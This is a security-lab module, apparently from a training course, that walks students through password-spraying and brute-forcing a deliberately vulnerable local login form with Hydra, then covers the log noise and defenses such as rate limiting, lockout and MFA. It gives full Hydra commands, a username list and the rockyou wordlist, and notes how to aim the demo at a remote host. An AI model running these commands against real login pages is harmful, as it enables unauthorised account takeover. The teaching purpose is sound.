π― Online Brute Force (login form)
Attack the live login form with Hydra β no stolen hashes needed. Works only because the target has no rate limiting or lockout.
Run it
Each step runs the real tool in the lab and streams output below.
1 Β· Build a username list (from the /team page)
Write the staff usernames to shared/loot/users.txt for the spray.
2 Β· Password-spray all users (Hydra)
Try a common-password list against every user on the live form. The failure string 'Invalid credentials' tells Hydra which attempts failed.
3 Β· Target one account (stop at first hit)
Hammer a single username with a chosen wordlist; -f stops at the first valid password.
Module 03 β Online Brute Force (login form)
Goal: attack the live login form directly with Hydra β no stolen hashes needed. Students see why an app with no rate limiting or lockout can be brute-forced over the network, and why that's both powerful and noisy.
| Time | 30β45 min |
| Target | the Nebula Dynamics login form (/login) |
| Tools | Hydra |
| Prereq | target running (make target) + toolbox shell (make toolbox) |
Online vs offline
Modules 01β02 were offline: you had the hashes and cracked them on your own machine, as fast as your CPU allowed, invisibly. This is online: you send a real login request for every guess.
| Offline (01/02) | Online (this module) | |
|---|---|---|
| Needs | the hash dump | just the login page |
| Speed | millions/sec | limited by the network + the server |
| Noise | none (silent) | every try is a request in the logs |
| Stopped by | salting, slow hashes | rate limiting, lockout, CAPTCHA, MFA |
This app has none of those defenses, which is exactly why the attack lands.
How Hydra attacks a form
Hydra's http-post-form module needs three colon-separated parts:
"<path>:<post-body-with-^USER^-and-^PASS^>:<failure-string>"
pathβ where the form POSTs:/login- body β the form fields with placeholders:
username=^USER^&password=^PASS^ - failure string β text that appears only on a failed login. Our app shows
Invalid credentialson failure, so Hydra treats its absence (the success redirect) as a valid hit.
Walkthrough
Step 0 β start the lab
make target # victim at http://localhost:8080
make toolbox # attacker shell
cd /lab
Step 1 β a username list
In a real test you'd harvest these (the target's /team page lists staff). Here:
printf "alice\nbob\ncarol\ndave\nerin\nfrank\nadmin\n" > shared/loot/users.txt
Step 2 β password-spray with a small common list
hydra -L shared/loot/users.txt \
-P modules/03-online-bruteforce/top-passwords.txt \
-s 5000 target \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" \
-t 4 -I
# -s port -t parallel tasks (gentle) -I ignore restore file
Hydra reports the accounts whose weak passwords are in the list (e.g. frank,
alice, bob, carolβ¦). admin's strong password isn't in a common list, so it
survives β same lesson as Module 01, from the other direction.
Step 3 β focus one account with a bigger list
hydra -l frank -P /usr/share/wordlists/rockyou.txt -s 5000 target \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" \
-f -t 4
# -f stop at the first valid password for this user
Slower (rockyou is 14M lines, one request each) but finds common passwords early. In the portal GUI this is the wordlist dropdown.
Step 4 β log in
Use a recovered pair at http://localhost:8080/login and grab the flag.
One-shot
bash modules/03-online-bruteforce/demo.sh
Against a remote/VPS target: HOST=<ip> PORT=8080 bash modules/03-online-bruteforce/demo.sh.
See the noise (do this live)
While Hydra runs, watch the target logs:
make logs # or: docker compose logs -f target
Every guess is a POST /login line. That stream is exactly what a lockout rule,
rate limiter, or WAF would trip on β the whole point of the defenses below.
Defenses (discuss after the exercise)
- Rate limiting + exponential backoff per IP/account.
- Account lockout (with care to avoid a lockout-based DoS) or progressive delays.
- CAPTCHA after N failures to stop automation.
- MFA β even a correct password isn't enough on its own.
- Monitoring/alerting on bursts of failed logins; block the source.
- Generic error text already helps a bit (don't reveal "no such user").
Checks for understanding
- Why does Hydra key on the failure string rather than a success string here?
- Why did
adminsurvive the spray in Step 2? - Give two reasons online brute force is weaker than the offline cracking in Module 01, and one reason it's still dangerous.
- Which single defense would you add first, and what does it cost legitimate users?